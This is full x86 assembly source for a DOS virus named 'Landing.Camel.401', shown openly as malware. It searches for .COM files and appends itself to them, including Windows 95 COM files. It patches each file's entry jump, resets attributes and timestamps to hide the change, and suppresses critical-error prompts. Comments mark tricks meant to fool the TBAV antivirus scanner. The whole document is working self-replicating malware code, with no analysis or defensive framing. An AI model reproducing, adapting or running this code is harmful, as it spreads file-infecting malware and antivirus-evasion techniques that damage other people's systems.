;==================================================;|
;	LANDING.CAMEL.1.401			   ;|
;==================================================;|
; 	TSR..................... No		   ;|
; 	Appending Virus......... Yes		   ;|
; 	COM infector............ Yes		   ;|		
; 	Windows95 COM infector.. Yes		   ;|					
; 	Reset Attributes........ Yes		   ;|
; 	Reset Time/Date......... Yes		   ;|
;	Error trapping.......... Yes		   ;|
;==================================================;|
						   ;|
	CODE SEGMENT				   ;|
	ASSUME CS:CODE,DS:CODE			   ;|
						   ;|
	ORG 100H				   ;|
						   ;|
;**************************************************;|
;       This is where the virus starts		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	BEGIN:					   ;|
;==================================================;|
						   ;|
	DB	0E9H				   ;|contains the jump code
	DW	0				   ;|contains the offset where to jump
						   ;|
;==================================================;|
	START:					   ;|
;==================================================;|
						   ;|
	CALL FIND_OFFSET			   ;|calculate the delta offset
						   ;|
;**************************************************;|
;       Calculate the Delta Offset		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	FIND_OFFSET:				   ;|
;==================================================;|
						   ;|
	POP	BP				   ;|
	SUB	BP,OFFSET FIND_OFFSET		   ;|BP now contains the delta offset
						   ;|
;**************************************************;|
;       Restore the original 3 bytes of the file   ;|
;**************************************************;|
						   ;|
;==================================================;|
	RESTORE_BYTES:				   ;|
;==================================================;|
						   ;|
	LEA	DI,[BP+JMP_BUF]			   ;|Restore 3 bytes into memory
	MOV	SI,100H 			   ;|
	XCHG	SI,DI				   ;|
	PUSH 	DI				   ;|Save 100H for the return
	MOVSW					   ;|Move word into memory
	MOVSB					   ;|Move byte into memory
						   ;|
;**************************************************;|
;       Set a new DTA				   ;|
;**************************************************;|
						   ;|
	LEA	DX,[BP+DTA]			   ;|Set new dta buffer which is 42 bytes
	MOV	AH,1AH				   ;|DOS function=Set Disk Transfer Address
	INT 	21H				   ;|
						   ;|
;**************************************************;|
;       Find first file to infect		   ;|
;**************************************************;|
						   ;|
	MOV	BH,4EH				   ;|DOS function=Find 1st Matching File
	XCHG	AX,BX				   ;|Fool TBAV
	MOV	CX,7				   ;|Any file attribute
	LEA	DX,[BP+TYPE_COM]		   ;|Search for .COM files only
						   ;|
;==================================================;|
	FIND_FILE:				   ;|
;==================================================;|
						   ;|
	INT	21H				   ;|
	JC	QUIT				   ;|No matching file found
						   ;|
;**************************************************;|
;       Check the extension to ensure it is a COM  ;|
;**************************************************;|
						   ;|
	MOV	CX,13D				   ;|Max size of a file name
	LEA	SI,[BP+OFFSET DTA+1EH]		   ;|Load offset of filename
						   ;|
;==================================================;|
	CHECK_EXTENSION:			   ;|Loop to test extension
;==================================================;|
						   ;|
	LODSB					   ;|Load a letter into AL
	CMP	AL,"."				   ;|Is it a point?
	JNE	CHECK_EXTENSION			   ;|No! Test the next letter
	INC	SI				   ;|Yes! Now SI points to second extension letter
	CMP 	WORD PTR [SI], "MO"		   ;|Second and third letters are "OM"?
	JNE	FIND_NEXT			   ;|No! Find Next
	JMP	INFECT				   ;|Go infect the bastard
						   ;|
;**************************************************;|
;       All finished so let us be leaving now	   ;|
;**************************************************;|
						   ;|
;==================================================;|
	QUIT:					   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Restore original DTA			   ;|
;**************************************************;|
						   ;|
	MOV	AX,80H				   ;|Change the DTA to original
	MOV	DH,1AH				   ;|DOS function=Set Disk Transfer Address
        XCHG    AX,DX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Clear registers 			   ;|
;**************************************************;|
						   ;|
	XOR	AX,AX				   ;|
	XOR	BX,BX				   ;|
	XOR	CX,CX				   ;|
	CWD					   ;|
	XOR	BP,BP				   ;|
	XOR	SI,SI				   ;|
	XOR	DI,DI				   ;|
						   ;|
	PUSH	CS				   ;|
	POP	ES				   ;|
						   ;|
	PUSH	CS				   ;|
	POP	DS				   ;|
						   ;|
;**************************************************;|
;       Pass control to the host program in memory ;|
;**************************************************;|
						   ;|
	RET					   ;|
						   ;|
;**************************************************;|
;       Find the next file to infect		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	FIND_NEXT:				   ;|
;==================================================;|
						   ;|
	MOV	BH,4FH				   ;|DOS function=Find Next Matching File
	XCHG	AX,BX				   ;|Fool TBAV
	LEA	DX,[BP+TYPE_COM]		   ;|Search for .COM files only
	MOV	CX,7				   ;|Any file attribute
	JMP	FIND_FILE                          ;|jump to find next
						   ;|
;==================================================;|
	INFECT:					   ;|
;==================================================;|
						   ;|
;**************************************************;|
;        Put in a new int 24h			   ;|
;**************************************************;|
						   ;|
	PUSH	ES				   ;| 
						   ;|
	MOV	AX,3524H			   ;|DOS function - get interrupt vector
	INT	21H				   ;|
	MOV	WORD PTR [BP+OLD_24_SEG],ES	   ;|Save the segment
	MOV	WORD PTR [BP+OLD_24_OFS],BX	   ;|Save the offset
						   ;|
	POP	ES				   ;|
						   ;|
	MOV	AX,2524H			   ;|Set new vector for INT24h
	LEA	DX,[BP+NEW_INT24]		   ;|Make it point to our procedure
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Save original attributes		   ;|
;**************************************************;|
						   ;|
	LEA	DX,[BP+DTA+1EH]			   ;|dx holds the name of the file
	XOR	CH,CH				   ;|
	MOV	CL,[BP+OFFSET DTA+15H]		   ;|get file attributes from DTA
	MOV 	BYTE PTR[BP+OLD_ATTR],CL	   ;|save them into file_attr variable
						   ;|
;**************************************************;|
;       Reset attributes to archive		   ;|
;**************************************************;|
						   ;|
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	XOR	AX,AX				   ;|CX=0 so file attribute is normal file
	XCHG	AX,CX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Open file for reading and writing and xchg ;|
;**************************************************;|
						   ;|
	MOV	AX,3D02H			   ;|DOS function=Open a File (Read and Write)
	LEA	DX,[BP+DTA+1EH]			   ;|DX holds the name of the file
	INT	21H				   ;|
						   ;|
	XCHG	BX,AX				   ;|Exchange bx with ax
						   ;|
;**************************************************;|
;       Save original time and date		   ;|
;**************************************************;|
						   ;|
	MOV 	AX,5700H			   ;|DOS function=Get File Time/Date
	INT	21H				   ;|
	MOV	WORD PTR [BP+OLD_TIME],CX	   ;|Save old time in file_time
	MOV	WORD PTR [BP+OLD_DATE],DX	   ;|Save old date in file_date
						   ;|
;**************************************************;|
;       Check file for previous infection	   ;|
;**************************************************;|
						   ;|
	MOV	AH,3FH				   ;|DOS function=Read from File
	LEA	DX,[BP+JMP_BUF]			   ;|Save them into jmpbuf
	MOV	CX,3				   ;|Read 3 bytes
	INT	21H				   ;|
						   ;|
	MOV	AX,WORD PTR [BP+DTA+26]		   ;|Get filesize from DTA in AX
	MOV	CX,WORD PTR [BP+JMP_BUF+1]	   ;|
	ADD	CX,HEAP-START+3			   ;|CX=filesize-virus+3
	CMP	CX,AX				   ;|Compare the 2 values
						   ;|
        JE      CLOSE_FILE                    	   ;|Already infected!
						   ;|
;**************************************************;|
;       Check file for infection criteria	   ;|
;**************************************************;|
						   ;|
	MOV	AX,WORD PTR [BP+DTA+26]		   ;|Get filesize from DTA in AX
						   ;|
	CMP	AX,60000			   ;|
	JA	CLOSE_FILE			   ;|File is too large
						   ;|
	CMP	AX,5000				   ;|
	JB	CLOSE_FILE			   ;|File is too small
						   ;|
	CMP	BYTE PTR [BP+JMP_BUF],'Z'	   ;|
	JZ	CLOSE_FILE			   ;|File is really a .EXE
						   ;|
	CMP	BYTE PTR [BP+JMP_BUF],'M'	   ;|
	JZ	CLOSE_FILE			   ;|File is really a .EXE
						   ;|
;**************************************************;|
;       Prepare the jump			   ;|
;**************************************************;|
						   ;|
	MOV	BYTE PTR [BP+BUFFER],0E9H	   ;|JMP code
	MOV	AX,WORD PTR [BP+DTA+26]		   ;|Get file size
	SUB	AX,3				   ;|AX=filesize-3 (size of JMP)
	MOV	WORD PTR [BP+BUFFER+1],AX	   ;|Offset of JMP
						   ;|
;**************************************************;|
;       Goto the beginning of the file		   ;|
;**************************************************;|
						   ;|
	MOV	AX,4200H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|go to beginning of file (BOF)
	CWD				  	   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Write our jump				   ;|
;**************************************************;|
						   ;|
	MOV	AX,03H				   ;|DOS function=Write to File
	MOV	CH,40H				   ;|Write 3 bytes to beginning of file
	LEA	DX,[BP+BUFFER]			   ;|From buffer
	XCHG	AX,CX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Goto end of the file and read in 7 bytes   ;|
;**************************************************;|
						   ;|
	MOV	AX,4202H			   ;|seek to EOF - 7
	MOV	DX,-7				   ;|
	MOV	CX,-1				   ;|
	INT	21H				   ;|
						   ;|
	MOV	AH,3FH				   ;|
	LEA	DX,[BP+EOF_BUF]			   ;|read in 7 bytes
	MOV	CX,7				   ;|
	INT 	21H				   ;|
						   ;|
;**************************************************;|
;       Add the virus size to the last 2 bytes     ;|
;**************************************************;|
						   ;|
	ADD	WORD PTR [BP + EOF_BUF + 5],HEAP-START ;|
						   ;|
;**************************************************;|
;       Goto the end of the file		   ;|
;**************************************************;|
						   ;|
	MOV	AX,4202H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to end of file (EOF)
	CWD					   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Write virus to the end of the file	   ;|
;**************************************************;|
						   ;|
	MOV	AH,40H				   ;|DOS function=Write to File
	MOV	CX,HEAP-START			   ;|Size of virus
	LEA	DX,[BP+START]			   ;|From beginning
	INT	21H				   ;|
						   ;|
;==================================================;|
	CLOSE_FILE:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Restore original time/date attributes	   ;|
;**************************************************;|
						   ;|
	MOV	AX,5700H			   ;|DOS function=Set File Time/Date
	MOV	DX,WORD PTR [BP+OLD_DATE]	   ;|DX=original date value
	MOV	CX,WORD PTR [BP+OLD_TIME]	   ;|CX=original time value
	ADD	AX,1				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Close the file				   ;|
;**************************************************;|
						   ;|
	MOV	AH,3EH	                     	   ;|close file function
	INT	21H                         	   ;|calling interrupt
						   ;|
;**************************************************;|
;       Restore original file attributes	   ;|
;**************************************************;|
						   ;|
	LEA	DX,[BP+OFFSET DTA+1EH]		   ;|DX=file name
	XOR	AH,AH				   ;|
	MOV 	AL,BYTE PTR [BP+OLD_ATTR]	   ;|CL=original file attribute
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	XCHG	AX,CX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Restore int24h				   ;|
;**************************************************;|
						   ;|
	MOV	AX,2524H			   ;|
	MOV	DS,WORD PTR [BP + OLD_24_SEG]	   ;|
	MOV	DX,WORD PTR [BP + OLD_24_OFS]	   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Finished infection, search for more files  ;|
;**************************************************;|
						   ;|
	JMP	FIND_NEXT			   ;|
						   ;|
;==================================================;|
	NEW_INT24:				   ;|Our INT 24h handler
;==================================================;|
						   ;|
;**************************************************;|
;      	New Int 24h handler			   ;|
;**************************************************;|
						   ;|
	MOV	AX,3				   ;|Don't display errors
	IRET					   ;|Return from interrupt
						   ;|
;**************************************************;|
;       Data entries				   ;|
;**************************************************;|
						   ;|
	MSG		DB 'Landing.Camel.401',0   ;|Virus name and author
	JMP_BUF		DB 0CDH,20H,0		   ;|INT 20H
	TYPE_COM        DB '*.C*',0		   ;|What kind of files to search
	OLD_24_OFS	DW ?			   ;|INT 24h offset
	OLD_24_SEG	DW ?			   ;|INT 24h segment
	EOF_BUF		DB 7 DUP (?)		   ;|Buffer at EOF
						   ;|
;==================================================;|
	HEAP:					   ;|
;==================================================;|
						   ;|
	DTA		DB 43 DUP (?)		   ;|Our new DTA buffer
	OLD_ATTR	DB ?			   ;|Original file attributes
	OLD_TIME	DW ?			   ;|Original file time
	OLD_DATE	DW ?			   ;|Original file date
	BUFFER		DB 3 DUP (?)		   ;|3 bytes buffer. Used for checking
                                        	   ;|if the file was already infected.

	CODE ENDS

	END BEGIN

